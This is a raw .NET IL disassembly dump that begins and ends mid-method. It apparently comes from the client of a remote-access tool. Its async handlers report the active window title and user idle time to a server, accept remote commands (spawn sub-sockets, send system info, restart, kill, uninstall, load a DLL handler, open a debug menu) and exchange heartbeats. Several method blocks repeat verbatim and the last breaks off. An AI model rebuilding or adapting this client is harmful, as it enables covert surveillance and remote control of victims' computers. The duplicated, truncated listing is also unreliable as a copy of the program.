00003516ldloc.s 9
00003518call SetException
0000351dleave.s IL_01a9
0000351fldarg.0
00003520ldc.i4.s -2
00003522stfld <>1__state
00003527ldarg.0
00003528ldnull
00003529stfld <currwin>5__2
0000352eldarg.0
0000352fldflda <>t__builder
00003534call SetResult
00003539ret
00003390
00003390<SendUpdateInfo>d__11::MoveNext:
00003390ldarg.0
00003391ldfld <>1__state
00003396stloc.0
00003397ldloc.0
00003398switch (IL_0052, IL_00b9, IL_0148)
000033a9call GetCaptionOfActiveWindowAsync
000033aecallvirt GetAwaiter
000033b3stloc.s 5
000033b5ldloca.s 5
000033b7call get_IsCompleted
000033bcbrtrue.s IL_006f
000033beldarg.0
000033bfldc.i4.0
000033c0dup
000033c1stloc.0
000033c2stfld <>1__state
000033c7ldarg.0
000033c8ldloc.s 5
000033castfld <>u__1
000033cfldarg.0
000033d0ldflda <>t__builder
000033d5ldloca.s 5
000033d7ldarg.0
000033d8call 0x2B000015
000033ddleave IL_01a9
000033e2ldarg.0
000033e3ldfld <>u__1
000033e8stloc.s 5
000033ealdarg.0
000033ebldflda <>u__1
000033f0initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<string>
000033f6ldarg.0
000033f7ldc.i4.m1
000033f8dup
000033f9stloc.0
000033fastfld <>1__state
000033ffldloca.s 5
00003401call GetResult
00003406stloc.s 4
00003408ldarg.0
00003409ldloc.s 4
0000340bstfld <currwin>5__2
00003410call GetIdleTimeAsync
00003415callvirt GetAwaiter
0000341astloc.s 6
0000341cldloca.s 6
0000341ecall get_IsCompleted
00003423brtrue.s IL_00d6
00003425ldarg.0
00003426ldc.i4.1
00003427dup
00003428stloc.0
00003429stfld <>1__state
0000342eldarg.0
0000342fldloc.s 6
00003431stfld <>u__2
00003436ldarg.0
00003437ldflda <>t__builder
0000343cldloca.s 6
0000343eldarg.0
0000343fcall 0x2B000016
00003444leave IL_01a9
00003449ldarg.0
0000344aldfld <>u__2
0000344fstloc.s 6
00003451ldarg.0
00003452ldflda <>u__2
00003457initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint32>
0000345dldarg.0
0000345eldc.i4.m1
0000345fdup
00003460stloc.0
00003461stfld <>1__state
00003466ldloca.s 6
00003468call GetResult
0000346dldc.i4 1000
00003472div.un
00003473stloc.s 7
00003475ldloca.s 7
00003477call ToString
0000347cstloc.1
0000347dldarg.0
0000347eldfld <currwin>5__2
00003483ldstr "\n"
00003488ldloc.1
00003489call Concat
0000348estloc.2
0000348fcall get_UTF8
00003494ldloc.2
00003495callvirt GetBytes
0000349astloc.3
0000349bldarg.0
0000349cldfld node
000034a1ldloc.3
000034a2callvirt SendAsync
000034a7callvirt GetAwaiter
000034acstloc.s 8
000034aeldloca.s 8
000034b0call get_IsCompleted
000034b5brtrue.s IL_0165
000034b7ldarg.0
000034b8ldc.i4.2
000034b9dup
000034bastloc.0
000034bbstfld <>1__state
000034c0ldarg.0
000034c1ldloc.s 8
000034c3stfld <>u__3
000034c8ldarg.0
000034c9ldflda <>t__builder
000034celdloca.s 8
000034d0ldarg.0
000034d1call 0x2B000017
000034d6leave.s IL_01a9
000034d8ldarg.0
000034d9ldfld <>u__3
000034destloc.s 8
000034e0ldarg.0
000034e1ldflda <>u__3
000034e6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
000034ecldarg.0
000034edldc.i4.m1
000034eedup
000034efstloc.0
000034f0stfld <>1__state
000034f5ldloca.s 8
000034f7call GetResult
000034fcpop
000034fdleave.s IL_018f
000034ffstloc.s 9
00003501ldarg.0
00003502ldc.i4.s -2
00003504stfld <>1__state
00003509ldarg.0
0000350aldnull
0000350bstfld <currwin>5__2
00003510ldarg.0
00003511ldflda <>t__builder
00003516ldloc.s 9
00003518call SetException
0000351dleave.s IL_01a9
0000351fldarg.0
00003520ldc.i4.s -2
00003522stfld <>1__state
00003527ldarg.0
00003528ldnull
00003529stfld <currwin>5__2
0000352eldarg.0
0000352fldflda <>t__builder
00003534call SetResult
00003539ret
00003390
00003564
00003564<Type0Receive>d__6::MoveNext:
00003564ldarg.0
00003565ldfld <>1__state
0000356astloc.0
0000356bldarg.0
0000356cldfld <>4__this
00003571stloc.1
00003572ldloc.0
00003573switch (IL_0064, IL_00ff, IL_0186)
00003584br IL_01aa
00003589ldloc.1
0000358aldfld Main
0000358fcallvirt ReceiveAsync
00003594callvirt GetAwaiter
00003599stloc.s 4
0000359bldloca.s 4
0000359dcall get_IsCompleted
000035a2brtrue.s IL_0081
000035a4ldarg.0
000035a5ldc.i4.0
000035a6dup
000035a7stloc.0
000035a8stfld <>1__state
000035adldarg.0
000035aeldloc.s 4
000035b0stfld <>u__1
000035b5ldarg.0
000035b6ldflda <>t__builder
000035bbldloca.s 4
000035bdldarg.0
000035becall 0x2B000018
000035c3leave IL_01f3
000035c8ldarg.0
000035c9ldfld <>u__1
000035cestloc.s 4
000035d0ldarg.0
000035d1ldflda <>u__1
000035d6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
000035dcldarg.0
000035ddldc.i4.m1
000035dedup
000035dfstloc.0
000035e0stfld <>1__state
000035e5ldloca.s 4
000035e7call GetResult
000035ecstloc.2
000035edldloc.2
000035eebrfalse IL_01ba
000035f3ldloc.2
000035f4ldc.i4.0
000035f5ldelem.u1
000035f6stloc.3
000035f7ldloc.3
000035f8switch (IL_00b2, IL_00bf, IL_0128, IL_0134, IL_0150)
00003611br IL_01aa
00003616ldloc.1
00003617ldloc.2
00003618call CreateSubSock
0000361dpop
0000361ebr IL_01aa
00003623ldloc.1
00003624ldloc.1
00003625ldfld Main
0000362acall GetAndSendInfo
0000362fcallvirt GetAwaiter
00003634stloc.s 5
00003636ldloca.s 5
00003638call get_IsCompleted
0000363dbrtrue.s IL_011c
0000363fldarg.0
00003640ldc.i4.1
00003641dup
00003642stloc.0
00003643stfld <>1__state
00003648ldarg.0
00003649ldloc.s 5
0000364bstfld <>u__2
00003650ldarg.0
00003651ldflda <>t__builder
00003656ldloca.s 5
00003658ldarg.0
00003659call 0x2B000019
0000365eleave IL_01f3
00003663ldarg.0
00003664ldfld <>u__2
00003669stloc.s 5
0000366bldarg.0
0000366cldflda <>u__2
00003671initobj System.Runtime.CompilerServices.TaskAwaiter
00003677ldarg.0
00003678ldc.i4.m1
00003679dup
0000367astloc.0
0000367bstfld <>1__state
00003680ldloca.s 5
00003682call GetResult
00003687br IL_01aa
0000368ccall GetCurrentProcess
00003691callvirt Kill
00003696br.s IL_01aa
00003698call GetEntryAssembly
0000369dcallvirt get_Location
000036a2call Start
000036a7pop
000036a8call GetCurrentProcess
000036adcallvirt Kill
000036b2br.s IL_01aa
000036b4call Uninstall
000036b9callvirt GetAwaiter
000036bestloc.s 5
000036c0ldloca.s 5
000036c2call get_IsCompleted
000036c7brtrue.s IL_01a3
000036c9ldarg.0
000036caldc.i4.2
000036cbdup
000036ccstloc.0
000036cdstfld <>1__state
000036d2ldarg.0
000036d3ldloc.s 5
000036d5stfld <>u__2
000036daldarg.0
000036dbldflda <>t__builder
000036e0ldloca.s 5
000036e2ldarg.0
000036e3call 0x2B000019
000036e8leave.s IL_01f3
000036ealdarg.0
000036ebldfld <>u__2
000036f0stloc.s 5
000036f2ldarg.0
000036f3ldflda <>u__2
000036f8initobj System.Runtime.CompilerServices.TaskAwaiter
000036feldarg.0
000036ffldc.i4.m1
00003700dup
00003701stloc.0
00003702stfld <>1__state
00003707ldloca.s 5
00003709call GetResult
0000370eldloc.1
0000370fldfld Main
00003714callvirt Connected
00003719brtrue IL_0025
0000371eldloc.1
0000371fldfld Main
00003724callvirt Disconnect
00003729leave.s IL_01e0
0000372bstloc.s 6
0000372dldarg.0
0000372eldc.i4.s -2
00003730stfld <>1__state
00003735ldarg.0
00003736ldflda <>t__builder
0000373bldloc.s 6
0000373dcall SetException
00003742leave.s IL_01f3
00003744ldarg.0
00003745ldc.i4.s -2
00003747stfld <>1__state
0000374cldarg.0
0000374dldflda <>t__builder
00003752call SetResult
00003757ret
00003564
00003564<Type0Receive>d__6::MoveNext:
00003564ldarg.0
00003565ldfld <>1__state
0000356astloc.0
0000356bldarg.0
0000356cldfld <>4__this
00003571stloc.1
00003572ldloc.0
00003573switch (IL_0064, IL_00ff, IL_0186)
00003584br IL_01aa
00003589ldloc.1
0000358aldfld Main
0000358fcallvirt ReceiveAsync
00003594callvirt GetAwaiter
00003599stloc.s 4
0000359bldloca.s 4
0000359dcall get_IsCompleted
000035a2brtrue.s IL_0081
000035a4ldarg.0
000035a5ldc.i4.0
000035a6dup
000035a7stloc.0
000035a8stfld <>1__state
000035adldarg.0
000035aeldloc.s 4
000035b0stfld <>u__1
000035b5ldarg.0
000035b6ldflda <>t__builder
000035bbldloca.s 4
000035bdldarg.0
000035becall 0x2B000018
000035c3leave IL_01f3
000035c8ldarg.0
000035c9ldfld <>u__1
000035cestloc.s 4
000035d0ldarg.0
000035d1ldflda <>u__1
000035d6initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
000035dcldarg.0
000035ddldc.i4.m1
000035dedup
000035dfstloc.0
000035e0stfld <>1__state
000035e5ldloca.s 4
000035e7call GetResult
000035ecstloc.2
000035edldloc.2
000035eebrfalse IL_01ba
000035f3ldloc.2
000035f4ldc.i4.0
000035f5ldelem.u1
000035f6stloc.3
000035f7ldloc.3
000035f8switch (IL_00b2, IL_00bf, IL_0128, IL_0134, IL_0150)
00003611br IL_01aa
00003616ldloc.1
00003617ldloc.2
00003618call CreateSubSock
0000361dpop
0000361ebr IL_01aa
00003623ldloc.1
00003624ldloc.1
00003625ldfld Main
0000362acall GetAndSendInfo
0000362fcallvirt GetAwaiter
00003634stloc.s 5
00003636ldloca.s 5
00003638call get_IsCompleted
0000363dbrtrue.s IL_011c
0000363fldarg.0
00003640ldc.i4.1
00003641dup
00003642stloc.0
00003643stfld <>1__state
00003648ldarg.0
00003649ldloc.s 5
0000364bstfld <>u__2
00003650ldarg.0
00003651ldflda <>t__builder
00003656ldloca.s 5
00003658ldarg.0
00003659call 0x2B000019
0000365eleave IL_01f3
00003663ldarg.0
00003664ldfld <>u__2
00003669stloc.s 5
0000366bldarg.0
0000366cldflda <>u__2
00003671initobj System.Runtime.CompilerServices.TaskAwaiter
00003677ldarg.0
00003678ldc.i4.m1
00003679dup
0000367astloc.0
0000367bstfld <>1__state
00003680ldloca.s 5
00003682call GetResult
00003687br IL_01aa
0000368ccall GetCurrentProcess
00003691callvirt Kill
00003696br.s IL_01aa
00003698call GetEntryAssembly
0000369dcallvirt get_Location
000036a2call Start
000036a7pop
000036a8call GetCurrentProcess
000036adcallvirt Kill
000036b2br.s IL_01aa
000036b4call Uninstall
000036b9callvirt GetAwaiter
000036bestloc.s 5
000036c0ldloca.s 5
000036c2call get_IsCompleted
000036c7brtrue.s IL_01a3
000036c9ldarg.0
000036caldc.i4.2
000036cbdup
000036ccstloc.0
000036cdstfld <>1__state
000036d2ldarg.0
000036d3ldloc.s 5
000036d5stfld <>u__2
000036daldarg.0
000036dbldflda <>t__builder
000036e0ldloca.s 5
000036e2ldarg.0
000036e3call 0x2B000019
000036e8leave.s IL_01f3
000036ealdarg.0
000036ebldfld <>u__2
000036f0stloc.s 5
000036f2ldarg.0
000036f3ldflda <>u__2
000036f8initobj System.Runtime.CompilerServices.TaskAwaiter
000036feldarg.0
000036ffldc.i4.m1
00003700dup
00003701stloc.0
00003702stfld <>1__state
00003707ldloca.s 5
00003709call GetResult
0000370eldloc.1
0000370fldfld Main
00003714callvirt Connected
00003719brtrue IL_0025
0000371eldloc.1
0000371fldfld Main
00003724callvirt Disconnect
00003729leave.s IL_01e0
0000372bstloc.s 6
0000372dldarg.0
0000372eldc.i4.s -2
00003730stfld <>1__state
00003735ldarg.0
00003736ldflda <>t__builder
0000373bldloc.s 6
0000373dcall SetException
00003742leave.s IL_01f3
00003744ldarg.0
00003745ldc.i4.s -2
00003747stfld <>1__state
0000374cldarg.0
0000374dldflda <>t__builder
00003752call SetResult
00003757ret
00003564
00003780
00003780<Type1Receive>d__7::MoveNext:
00003780ldarg.0
00003781ldfld <>1__state
00003786stloc.0
00003787ldarg.0
00003788ldfld <>4__this
0000378dstloc.1
0000378eldloc.0
0000378fswitch (IL_0095, IL_00f7, IL_016c, IL_01db)
000037a4ldarg.0
000037a5ldc.i4.1
000037a6newarr System.Byte
000037abdup
000037acldc.i4.0
000037adldc.i4.1
000037aestelem.i1
000037afstfld <HearbeatReply>5__2
000037b4ldarg.0
000037b5ldc.i4.1
000037b6newarr System.Byte
000037bbdup
000037bcldc.i4.0
000037bdldc.i4.2
000037bestelem.i1
000037bfstfld <HearbeatFail>5__3
000037c4ldarg.0
000037c5ldfld subServer
000037caldc.i4 5000
000037cfcallvirt SetRecvTimeout
000037d4br IL_0200
000037d9ldc.i4 1000
000037decall Delay
000037e3callvirt GetAwaiter
000037e8stloc.3
000037e9ldloca.s 3
000037ebcall get_IsCompleted
000037f0brtrue.s IL_00b1
000037f2ldarg.0
000037f3ldc.i4.0
000037f4dup
000037f5stloc.0
000037f6stfld <>1__state
000037fbldarg.0
000037fcldloc.3
000037fdstfld <>u__1
00003802ldarg.0
00003803ldflda <>t__builder
00003808ldloca.s 3
0000380aldarg.0
0000380bcall 0x2B00001A
00003810leave IL_027d
00003815ldarg.0
00003816ldfld <>u__1
0000381bstloc.3
0000381cldarg.0
0000381dldflda <>u__1
00003822initobj System.Runtime.CompilerServices.TaskAwaiter
00003828ldarg.0
00003829ldc.i4.m1
0000382adup
0000382bstloc.0
0000382cstfld <>1__state
00003831ldloca.s 3
00003833call GetResult
00003838ldarg.0
00003839ldfld subServer
0000383ecallvirt ReceiveAsync
00003843callvirt GetAwaiter
00003848stloc.s 4
0000384aldloca.s 4
0000384ccall get_IsCompleted
00003851brtrue.s IL_0114
00003853ldarg.0
00003854ldc.i4.1
00003855dup
00003856stloc.0
00003857stfld <>1__state
0000385cldarg.0
0000385dldloc.s 4
0000385fstfld <>u__2
00003864ldarg.0
00003865ldflda <>t__builder
0000386aldloca.s 4
0000386cldarg.0
0000386dcall 0x2B00001B
00003872leave IL_027d
00003877ldarg.0
00003878ldfld <>u__2
0000387dstloc.s 4
0000387fldarg.0
00003880ldflda <>u__2
00003885initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
0000388bldarg.0
0000388cldc.i4.m1
0000388ddup
0000388estloc.0
0000388fstfld <>1__state
00003894ldloca.s 4
00003896call GetResult
0000389bstloc.2
0000389cldloc.2
0000389dbrfalse IL_021d
000038a2ldloc.2
000038a3ldc.i4.0
000038a4ldelem.u1
000038a5brfalse.s IL_0196
000038a7ldarg.0
000038a8ldfld subServer
000038adldarg.0
000038aeldfld <HearbeatFail>5__3
000038b3callvirt SendAsync
000038b8callvirt GetAwaiter
000038bdstloc.s 5
000038bfldloca.s 5
000038c1call get_IsCompleted
000038c6brtrue.s IL_0189
000038c8ldarg.0
000038c9ldc.i4.2
000038cadup
000038cbstloc.0
000038ccstfld <>1__state
000038d1ldarg.0
000038d2ldloc.s 5
000038d4stfld <>u__3
000038d9ldarg.0
000038daldflda <>t__builder
000038dfldloca.s 5
000038e1ldarg.0
000038e2call 0x2B00001C
000038e7leave IL_027d
000038ecldarg.0
000038edldfld <>u__3
000038f2stloc.s 5
000038f4ldarg.0
000038f5ldflda <>u__3
000038fainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003900ldarg.0
00003901ldc.i4.m1
00003902dup
00003903stloc.0
00003904stfld <>1__state
00003909ldloca.s 5
0000390bcall GetResult
00003910pop
00003911br IL_021d
00003916ldarg.0
00003917ldfld subServer
0000391cldarg.0
0000391dldfld <HearbeatReply>5__2
00003922callvirt SendAsync
00003927callvirt GetAwaiter
0000392cstloc.s 5
0000392eldloca.s 5
00003930call get_IsCompleted
00003935brtrue.s IL_01f8
00003937ldarg.0
00003938ldc.i4.3
00003939dup
0000393astloc.0
0000393bstfld <>1__state
00003940ldarg.0
00003941ldloc.s 5
00003943stfld <>u__3
00003948ldarg.0
00003949ldflda <>t__builder
0000394eldloca.s 5
00003950ldarg.0
00003951call 0x2B00001C
00003956leave IL_027d
0000395bldarg.0
0000395cldfld <>u__3
00003961stloc.s 5
00003963ldarg.0
00003964ldflda <>u__3
00003969initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000396fldarg.0
00003970ldc.i4.m1
00003971dup
00003972stloc.0
00003973stfld <>1__state
00003978ldloca.s 5
0000397acall GetResult
0000397fpop
00003980ldarg.0
00003981ldfld subServer
00003986callvirt Connected
0000398bbrfalse.s IL_021d
0000398dldloc.1
0000398eldfld Main
00003993callvirt Connected
00003998brtrue IL_0059
0000399dldloc.1
0000399eldfld Main
000039a3callvirt Disconnect
000039a8ldarg.0
000039a9ldfld subServer
000039aecallvirt Disconnect
000039b3leave.s IL_025c
000039b5stloc.s 6
000039b7ldarg.0
000039b8ldc.i4.s -2
000039bastfld <>1__state
000039bfldarg.0
000039c0ldnull
000039c1stfld <HearbeatReply>5__2
000039c6ldarg.0
000039c7ldnull
000039c8stfld <HearbeatFail>5__3
000039cdldarg.0
000039celdflda <>t__builder
000039d3ldloc.s 6
000039d5call SetException
000039daleave.s IL_027d
000039dcldarg.0
000039ddldc.i4.s -2
000039dfstfld <>1__state
000039e4ldarg.0
000039e5ldnull
000039e6stfld <HearbeatReply>5__2
000039ebldarg.0
000039ecldnull
000039edstfld <HearbeatFail>5__3
000039f2ldarg.0
000039f3ldflda <>t__builder
000039f8call SetResult
000039fdret
00003780
00003780<Type1Receive>d__7::MoveNext:
00003780ldarg.0
00003781ldfld <>1__state
00003786stloc.0
00003787ldarg.0
00003788ldfld <>4__this
0000378dstloc.1
0000378eldloc.0
0000378fswitch (IL_0095, IL_00f7, IL_016c, IL_01db)
000037a4ldarg.0
000037a5ldc.i4.1
000037a6newarr System.Byte
000037abdup
000037acldc.i4.0
000037adldc.i4.1
000037aestelem.i1
000037afstfld <HearbeatReply>5__2
000037b4ldarg.0
000037b5ldc.i4.1
000037b6newarr System.Byte
000037bbdup
000037bcldc.i4.0
000037bdldc.i4.2
000037bestelem.i1
000037bfstfld <HearbeatFail>5__3
000037c4ldarg.0
000037c5ldfld subServer
000037caldc.i4 5000
000037cfcallvirt SetRecvTimeout
000037d4br IL_0200
000037d9ldc.i4 1000
000037decall Delay
000037e3callvirt GetAwaiter
000037e8stloc.3
000037e9ldloca.s 3
000037ebcall get_IsCompleted
000037f0brtrue.s IL_00b1
000037f2ldarg.0
000037f3ldc.i4.0
000037f4dup
000037f5stloc.0
000037f6stfld <>1__state
000037fbldarg.0
000037fcldloc.3
000037fdstfld <>u__1
00003802ldarg.0
00003803ldflda <>t__builder
00003808ldloca.s 3
0000380aldarg.0
0000380bcall 0x2B00001A
00003810leave IL_027d
00003815ldarg.0
00003816ldfld <>u__1
0000381bstloc.3
0000381cldarg.0
0000381dldflda <>u__1
00003822initobj System.Runtime.CompilerServices.TaskAwaiter
00003828ldarg.0
00003829ldc.i4.m1
0000382adup
0000382bstloc.0
0000382cstfld <>1__state
00003831ldloca.s 3
00003833call GetResult
00003838ldarg.0
00003839ldfld subServer
0000383ecallvirt ReceiveAsync
00003843callvirt GetAwaiter
00003848stloc.s 4
0000384aldloca.s 4
0000384ccall get_IsCompleted
00003851brtrue.s IL_0114
00003853ldarg.0
00003854ldc.i4.1
00003855dup
00003856stloc.0
00003857stfld <>1__state
0000385cldarg.0
0000385dldloc.s 4
0000385fstfld <>u__2
00003864ldarg.0
00003865ldflda <>t__builder
0000386aldloca.s 4
0000386cldarg.0
0000386dcall 0x2B00001B
00003872leave IL_027d
00003877ldarg.0
00003878ldfld <>u__2
0000387dstloc.s 4
0000387fldarg.0
00003880ldflda <>u__2
00003885initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
0000388bldarg.0
0000388cldc.i4.m1
0000388ddup
0000388estloc.0
0000388fstfld <>1__state
00003894ldloca.s 4
00003896call GetResult
0000389bstloc.2
0000389cldloc.2
0000389dbrfalse IL_021d
000038a2ldloc.2
000038a3ldc.i4.0
000038a4ldelem.u1
000038a5brfalse.s IL_0196
000038a7ldarg.0
000038a8ldfld subServer
000038adldarg.0
000038aeldfld <HearbeatFail>5__3
000038b3callvirt SendAsync
000038b8callvirt GetAwaiter
000038bdstloc.s 5
000038bfldloca.s 5
000038c1call get_IsCompleted
000038c6brtrue.s IL_0189
000038c8ldarg.0
000038c9ldc.i4.2
000038cadup
000038cbstloc.0
000038ccstfld <>1__state
000038d1ldarg.0
000038d2ldloc.s 5
000038d4stfld <>u__3
000038d9ldarg.0
000038daldflda <>t__builder
000038dfldloca.s 5
000038e1ldarg.0
000038e2call 0x2B00001C
000038e7leave IL_027d
000038ecldarg.0
000038edldfld <>u__3
000038f2stloc.s 5
000038f4ldarg.0
000038f5ldflda <>u__3
000038fainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00003900ldarg.0
00003901ldc.i4.m1
00003902dup
00003903stloc.0
00003904stfld <>1__state
00003909ldloca.s 5
0000390bcall GetResult
00003910pop
00003911br IL_021d
00003916ldarg.0
00003917ldfld subServer
0000391cldarg.0
0000391dldfld <HearbeatReply>5__2
00003922callvirt SendAsync
00003927callvirt GetAwaiter
0000392cstloc.s 5
0000392eldloca.s 5
00003930call get_IsCompleted
00003935brtrue.s IL_01f8
00003937ldarg.0
00003938ldc.i4.3
00003939dup
0000393astloc.0
0000393bstfld <>1__state
00003940ldarg.0
00003941ldloc.s 5
00003943stfld <>u__3
00003948ldarg.0
00003949ldflda <>t__builder
0000394eldloca.s 5
00003950ldarg.0
00003951call 0x2B00001C
00003956leave IL_027d
0000395bldarg.0
0000395cldfld <>u__3
00003961stloc.s 5
00003963ldarg.0
00003964ldflda <>u__3
00003969initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
0000396fldarg.0
00003970ldc.i4.m1
00003971dup
00003972stloc.0
00003973stfld <>1__state
00003978ldloca.s 5
0000397acall GetResult
0000397fpop
00003980ldarg.0
00003981ldfld subServer
00003986callvirt Connected
0000398bbrfalse.s IL_021d
0000398dldloc.1
0000398eldfld Main
00003993callvirt Connected
00003998brtrue IL_0059
0000399dldloc.1
0000399eldfld Main
000039a3callvirt Disconnect
000039a8ldarg.0
000039a9ldfld subServer
000039aecallvirt Disconnect
000039b3leave.s IL_025c
000039b5stloc.s 6
000039b7ldarg.0
000039b8ldc.i4.s -2
000039bastfld <>1__state
000039bfldarg.0
000039c0ldnull
000039c1stfld <HearbeatReply>5__2
000039c6ldarg.0
000039c7ldnull
000039c8stfld <HearbeatFail>5__3
000039cdldarg.0
000039celdflda <>t__builder
000039d3ldloc.s 6
000039d5call SetException
000039daleave.s IL_027d
000039dcldarg.0
000039ddldc.i4.s -2
000039dfstfld <>1__state
000039e4ldarg.0
000039e5ldnull
000039e6stfld <HearbeatReply>5__2
000039ebldarg.0
000039ecldnull
000039edstfld <HearbeatFail>5__3
000039f2ldarg.0
000039f3ldflda <>t__builder
000039f8call SetResult
000039fdret
00003780
00003a28
00003a28<Type2Receive>d__9::MoveNext:
00003a28ldarg.0
00003a29ldfld <>1__state
00003a2estloc.0
00003a2fldarg.0
00003a30ldfld <>4__this
00003a35stloc.1
00003a36ldloc.0
00003a37switch (IL_006c, IL_00fa, IL_0168, IL_01d2, IL_023b)
00003a50br IL_025f
00003a55ldarg.0
00003a56ldfld subServer
00003a5bcallvirt ReceiveAsync
00003a60callvirt GetAwaiter
00003a65stloc.s 4
00003a67ldloca.s 4
00003a69call get_IsCompleted
00003a6ebrtrue.s IL_0089
00003a70ldarg.0
00003a71ldc.i4.0
00003a72dup
00003a73stloc.0
00003a74stfld <>1__state
00003a79ldarg.0
00003a7aldloc.s 4
00003a7cstfld <>u__1
00003a81ldarg.0
00003a82ldflda <>t__builder
00003a87ldloca.s 4
00003a89ldarg.0
00003a8acall 0x2B00001D
00003a8fleave IL_02b5
00003a94ldarg.0
00003a95ldfld <>u__1
00003a9astloc.s 4
00003a9cldarg.0
00003a9dldflda <>u__1
00003aa2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00003aa8ldarg.0
00003aa9ldc.i4.m1
00003aaadup
00003aabstloc.0
00003aacstfld <>1__state
00003ab1ldloca.s 4
00003ab3call GetResult
00003ab8stloc.2
00003ab9ldloc.2
00003ababrfalse IL_027c
00003abfldloc.2
00003ac0ldc.i4.0
00003ac1ldelem.u1
00003ac2stloc.3
00003ac3ldloc.3
00003ac4switch (IL_00ba, IL_0123, IL_0191, IL_01f8, IL_01fd)
00003addbr IL_025f
00003ae2ldloc.1
00003ae3ldarg.0
00003ae4ldfld subServer
00003ae9call SendUpdateInfo
00003aeecallvirt GetAwaiter
00003af3stloc.s 5
00003af5ldloca.s 5
00003af7call get_IsCompleted
00003afcbrtrue.s IL_0117
00003afeldarg.0
00003affldc.i4.1
00003b00dup
00003b01stloc.0
00003b02stfld <>1__state
00003b07ldarg.0
00003b08ldloc.s 5
00003b0astfld <>u__2
00003b0fldarg.0
00003b10ldflda <>t__builder
00003b15ldloca.s 5
00003b17ldarg.0
00003b18call 0x2B00001E
00003b1dleave IL_02b5
00003b22ldarg.0
00003b23ldfld <>u__2
00003b28stloc.s 5
00003b2aldarg.0
00003b2bldflda <>u__2
00003b30initobj System.Runtime.CompilerServices.TaskAwaiter
00003b36ldarg.0
00003b37ldc.i4.m1
00003b38dup
00003b39stloc.0
00003b3astfld <>1__state
00003b3fldloca.s 5
00003b41call GetResult
00003b46br IL_025f
00003b4bldloc.1
00003b4cldfld dllhandler
00003b51ldarg.0
00003b52ldfld subServer
00003b57callvirt DllNodeHandler
00003b5ccallvirt GetAwaiter
00003b61stloc.s 5
00003b63ldloca.s 5
00003b65call get_IsCompleted
00003b6abrtrue.s IL_0185
00003b6cldarg.0
00003b6dldc.i4.2
00003b6edup
00003b6fstloc.0
00003b70stfld <>1__state
00003b75ldarg.0
00003b76ldloc.s 5
00003b78stfld <>u__2
00003b7dldarg.0
00003b7eldflda <>t__builder
00003b83ldloca.s 5
00003b85ldarg.0
00003b86call 0x2B00001E
00003b8bleave IL_02b5
00003b90ldarg.0
00003b91ldfld <>u__2
00003b96stloc.s 5
00003b98ldarg.0
00003b99ldflda <>u__2
00003b9einitobj System.Runtime.CompilerServices.TaskAwaiter
00003ba4ldarg.0
00003ba5ldc.i4.m1
00003ba6dup
00003ba7stloc.0
00003ba8stfld <>1__state
00003badldloca.s 5
00003bafcall GetResult
00003bb4br IL_027c
00003bb9ldloc.1
00003bbaldarg.0
00003bbbldfld subServer
00003bc0ldloc.2
00003bc1call setSetId
00003bc6callvirt GetAwaiter
00003bcbstloc.s 5
00003bcdldloca.s 5
00003bcfcall get_IsCompleted
00003bd4brtrue.s IL_01ef
00003bd6ldarg.0
00003bd7ldc.i4.3
00003bd8dup
00003bd9stloc.0
00003bdastfld <>1__state
00003bdfldarg.0
00003be0ldloc.s 5
00003be2stfld <>u__2
00003be7ldarg.0
00003be8ldflda <>t__builder
00003bedldloca.s 5
00003befldarg.0
00003bf0call 0x2B00001E
00003bf5leave IL_02b5
00003bfaldarg.0
00003bfbldfld <>u__2
00003c00stloc.s 5
00003c02ldarg.0
00003c03ldflda <>u__2
00003c08initobj System.Runtime.CompilerServices.TaskAwaiter
00003c0eldarg.0
00003c0fldc.i4.m1
00003c10dup
00003c11stloc.0
00003c12stfld <>1__state
00003c17ldloca.s 5
00003c19call GetResult
00003c1ebr.s IL_025f
00003c20leave IL_02a2
00003c25ldloc.1
00003c26ldarg.0
00003c27ldfld subServer
00003c2cldloc.2
00003c2dcall DebugMenu
00003c32callvirt GetAwaiter
00003c37stloc.s 5
00003c39ldloca.s 5
00003c3bcall get_IsCompleted
00003c40brtrue.s IL_0258
00003c42ldarg.0
00003c43ldc.i4.4
00003c44dup
00003c45stloc.0
00003c46stfld <>1__state
00003c4bldarg.0
00003c4cldloc.s 5
00003c4estfld <>u__2
00003c53ldarg.0
00003c54ldflda <>t__builder
00003c59ldloca.s 5
00003c5bldarg.0
00003c5ccall 0x2B00001E
00003c61leave.s IL_02b5
00003c63ldarg.0
00003c64ldfld <>u__2
00003c69stloc.s 5
00003c6bldarg.0
00003c6cldflda <>u__2
00003c71initobj System.Runtime.CompilerServices.TaskAwaiter
00003c77ldarg.0
00003c78ldc.i4.m1
00003c79dup
00003c7astloc.0
00003c7bstfld <>1__state
00003c80ldloca.s 5
00003c82call GetResult
00003c87ldarg.0
00003c88ldfld subServer
00003c8dcallvirt Connected
00003c92brfalse.s IL_027c
00003c94ldloc.1
00003c95ldfld Main
00003c9acallvirt Connected
00003c9fbrtrue IL_002d
00003ca4ldarg.0
00003ca5ldfld subServer
00003caacallvirt Disconnect
00003cafleave.s IL_02a2
00003cb1stloc.s 6
00003cb3ldarg.0
00003cb4ldc.i4.s -2
00003cb6stfld <>1__state
00003cbbldarg.0
00003cbcldflda <>t__builder
00003cc1ldloc.s 6
00003cc3call SetException
00003cc8leave.s IL_02b5
00003ccaldarg.0
00003ccbldc.i4.s -2
00003ccdstfld <>1__state
00003cd2ldarg.0
00003cd3ldflda <>t__builder
00003cd8call SetResult
00003cddret
00003a28
00003a28<Type2Receive>d__9::MoveNext:
00003a28ldarg.0
00003a29ldfld <>1__state
00003a2estloc.0
00003a2fldarg.0
00003a30ldfld <>4__this
00003a35stloc.1
00003a36ldloc.0
00003a37switch (IL_006c, IL_00fa, IL_0168, IL_01d2, IL_023b)
00003a50br IL_025f
00003a55ldarg.0
00003a56ldfld subServer
00003a5bcallvirt ReceiveAsync
00003a60callvirt GetAwaiter
00003a65stloc.s 4
